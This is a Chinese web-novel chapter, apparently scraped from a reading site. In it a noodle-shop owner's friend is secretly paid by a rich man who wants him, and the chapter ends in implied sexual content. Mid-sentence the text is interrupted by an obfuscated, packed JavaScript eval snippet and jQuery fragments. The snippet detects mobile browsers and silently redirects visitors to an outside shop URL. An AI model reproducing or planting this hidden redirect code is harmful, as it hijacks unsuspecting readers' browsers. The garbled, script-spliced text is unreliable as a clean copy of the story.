下午3点多钟,有面吃面馆暂时没人。
方深扯了纸巾递给对面哭的梨花带雨的夏妍,女人哽咽着接过,一边擦拭着眼泪一边哭诉着自己的委屈:“他怎么能对我说那种话……”
“我不过是回去的晚了点儿,他就让我滚……”
女人哭的更厉害了。
方深浅色眸子里装着满满的爱意和心疼,驱使着他在看到喜欢的人如此难过时想要给她安慰。
手在要落到夏妍光洁的肩膀时停下。
也许这个世界上男女之间有纯友谊,但他知道他对夏妍的感情,所以在动作上应该有分寸,手指微微蜷缩后克制的收了回来。
起身去给夏妍续了杯水。
方深瞧着饮水机欢快流出的温水,他和夏妍是高中同学,同桌,那时候自己就喜欢她,不过秉持着学生应该以学习为重他什么都没做,然后夏妍交了男朋友……
其实后来想想,他学习那么差劲……
大学夏妍是艺术学院的白天鹅,而自己是芸芸众生中最普通的一个。
方深把水杯放到夏妍手边。
夏妍快要把身体里的水份都哭了出去,拿起水杯一口喝了个干净,于是就又有新鲜的眼泪涌了出来:“明明他追求我的时候不是这样的……”
女人一副想不明白的样子。
方深眉头很有怨气的拧在一起,显然对秦铮这种不尊重夏妍的做法也很生气,愤怒!
对于两人的恋爱故事方深很了解,白马王子给淋雨的天鹅撑了把伞,于是爱情开始萌芽,对彼此的吸引力让他们认识不到3天就坠入了爱河,爱的轰轰烈烈,此生不渝。
现在是恋爱第15天。
白马王子露出了真面目,抛开外在的一切,他和这个世界上肮脏庸俗的男人没有任何不同,甚至更加恶劣。
被欺骗了的天鹅泣不成声。
方深修剪整洁的指尖缓缓摩挲着水杯,在心里反复确认自己即将说的话不是出于私心,而是真心为夏妍考虑这才开口:“要不……你就跟他分了吧。”
才在一起十五天就开始限制夏妍的人生自由,这样的人绝对不正常,有大病,继续和他在一起说不定以后还会有更危险的事情。
感觉家暴已经是板上钉钉会发生的事儿了,这种人一定要离他们越远越好。
方深怎么忍心看着夏妍掉入火坑。
听他这么说,夏妍的哭声停了下来,有着漂亮美甲的纤细手指捏着纸巾轻轻蹭着眼角的泪水,脸上的哀怨和难过快速消失:“其实……他人也挺好的。”
方深掀起浓密的睫毛,呆愣愣瞧着夏妍,怎么又突然夸上了?
夏妍:“你也知道我们认识是因为他给我撑伞,当时我们都不认识,不就说明这个人心好,善良,本性不坏。”
“我们在一起时他还送了我一辆车,他其实真的很在乎我,要知道现在的男人追女生多敷衍,总以为发个早上好,晚上好,打卡多少天就能成功签到领个老婆,他不一样。”
夏妍细数着秦铮的优点,那双泪眼里又重新燃起爱的火花。
“其实他就是脾气差一点,他看着我也说明他在乎我。”
她放下因为她的眼泪湿透的纸巾,看向方深,无比坚定的:“我决定再给他一次机会。”
方深虽然没跟上她的态度转变,但这句话他还是听得懂的,不禁有些急了:“妍妍,你这样只会让他更加放肆……”
“欢迎光临——”
方深的话被打断,他看向门口,身穿黑色西装的高大男人冷脸走了进来,气场很足,气压很低,一副不好惹的样子。
夏妍经常发秦铮的照片给他,感叹自己的男朋友实在是太帅了。
方深虽然心有嫉妒,可也不得不承认对方的确是个浓眉深目,攻击性很强的帅哥。
而现在见到真人,他更是能感受到无形的压迫感,不自觉地站起身,挪动脚步想要挡在夏妍身前。
夏妍已经先一步扑进秦铮怀里,女人仰着头,五官仿佛由爱意捏成:“亲爱的,你怎么知道我在这儿?”
秦铮揽住女人纤细的腰肢,那双陷在深邃眼窝里的漆黑眼珠则直直瞧着方深,男人长相清秀,气质温和,身上穿着件干净的围裙,散发着宜室宜家的好男人气息,也像一团怎么捏都没脾气的面团。
搭在腰肢上的那只手搓了搓,想捏,从头到脚,大捏特捏。
秦铮:“自然是因为我们心有灵犀。”
方深闻言,我哕——我大哕特哕——
他对秦铮的感情挺复杂的,虽然知道自己不配和这个大老板比,但他私心还是把对方当做情敌的。
而这个家伙拥有了妍妍的爱却不好好对她。
这让他愤怒。
现在见到真人发现对方比照片还要英俊帅气又不禁自惭形秽,自己拿什么跟他比?
他有钱,自己不会家暴,他帅气,自己不会家暴,他能呼风唤雨,自己不会家暴……
0:3
自己完胜!
方深嘴角微抿出偷笑的弧度。
秦深看在眼中,伸出手:“方深。”
被点名的方深从自己的小世界里回过神,愣愣的瞧着秦铮:“干嘛?”
你个手下败将。
秦铮:干.你。
秦铮:用*干.你。
秦铮:“认识一下。”
他把手抬起了些,方深这才注意到还有一只手等着自己握,他看着那只手,心里又不得劲了,男人的手都是优秀的,骨节线条硬朗匀称,一看就是高高在上的手。
他伸出自己“穷酸”的手,一眼发现手背沾着一块没洗掉的面块,一个小点,像是鸟屎,飞速和秦铮握了下手,要松开的手被抓住。
方深不明所以的瞧着秦铮。
想打架?
秦铮感受着这只不算柔软的手:“谢谢你对妍妍的照顾。”
这话方深不爱听,就算他现在是妍妍的男朋友,但自己是妍妍多年的好朋友,还轮不到他来谢自己。
怎么?
爱情就比友情高贵?
方深只是脾气好但并不是没脾气,他更加用力的握着秦铮的手:“你也要好好照顾妍妍。”
再敢欺负妍妍,就算妍妍会放过你,我方深也不会放过你!
常年揉面和面的人手上力气不小,他没有要收力气的打算,必须让这个家伙知道妍妍也是有人撑腰的。
秦铮的手被攥红,变了形状,依旧面不改色。
“不劳你操心,妍妍是我女朋友。”
方深心想你压根就不配当妍妍的男朋友!不对!你这种变态最要紧的根本不是谈恋爱而是去看病!
秦铮:“要一直握着我的手吗?”
方深立即松开了手,像是松开什么脏东西,收回去的手还在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288173|198467||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
围裙上蹭了蹭。
秦铮没再和方深说什么,低头看向夏妍:“我们回去吧,给你准备了惊喜。”
方深无语,惊喜说出来就不叫惊喜了。
夏妍幸福的依偎在秦铮怀里,向方深摆了摆手:“深深,那我就先走了,拜拜。”
她这幅模样,就好像刚刚和方深哭诉的不是她。
方深目送着郎才女貌的一对走出他这小破店,上了停在路边的豪车,彻底消失在他的视线中,在门口落寞的当了会儿一动不动的雕塑。
希望秦铮不要再欺负妍妍吧。
他离开门口去到卫生间洗手,把面块抠下去,秦铮的手一看就是什么都不会干的,自己的手不一样,会做饭下面条。
他点点头,此为4胜。
0:4,他全胜,此为5胜。
方深笑了出来,左边脸颊浮现出一个小小的梨涡,行了,今天就先到这儿吧,再赢下去就不太礼貌了。
——
豪车平稳的向前开去。
坐在后排的男女已然不见刚刚的浓情蜜意,身体更是拉开了距离。
夏妍偏着头瞧着车窗外飞速掠过的建筑:“我已经按照你说的做了,但这样只会让深深对你的印象很差。”
她不明白,这是什么奇葩的追人方式。
秦铮瞧着手上迟迟没有消下去的红印,他不在意方深对他印象好坏。
他只是想要这个人而已。
放到家里,给他做饭,暖床,让他睡。
抚摸上红痕,仿佛还留有方深的体温:“你这么做不会觉得对不起他?”
夏妍的表情有一瞬的僵硬,接近市中心,外面也更加繁华,这样寸土寸金的地方,她想要安家,要掏出全部家当再和家里凑一凑才能凑够首付,装修的钱需要重新攒,还要背上大几十年的房贷。
当一辈子的牛马就为了能有个窝。
她是这样,方深要更难一点,没有父母可以帮衬他,他们都是平凡的普通人,能够改命的机会不多。
现在她有这个机会了。
夏妍捋了下海藻般的长发:“说好的钱一分也不能少。”
三千万,只要她帮秦铮得到方深,秦铮就会给她三千万,有了这笔钱,即使方深之后被秦铮甩了她也能带方深过上好日子。
方深这个人老实,是优点也是缺点,人太老实就会不知道上进,安于现状。
再者说还有另一个可能。
或许秦铮不会甩了方深,那方深这辈子跟着他就吃喝不愁了,不用起早贪黑在那个小破面馆干活,大好人生都浪费在看店上。
夏妍想这笔账怎么算都不亏。
——
回到别墅。
秦铮上了楼,瞥了眼右手上还残留的红痕。
他用这只手抓住。
1
只瞧红痕,仿佛是被方深的手抓住。
方深显然已经不记得他了,但他一直记得方深。
被拒之门外的那一晚。
从胃部蔓延出来的疼痛。
楼道里他蜷缩着身体,旁边的门开了,穿着背心大裤衩的男人拎着袋垃圾看向他。
“你不舒服吗?”
“胃疼?”
“没吃东西?”
“要来吃碗面吗?我下面很好吃。”
有着红痕的手背,仿佛两只手握在一起,加快了速度。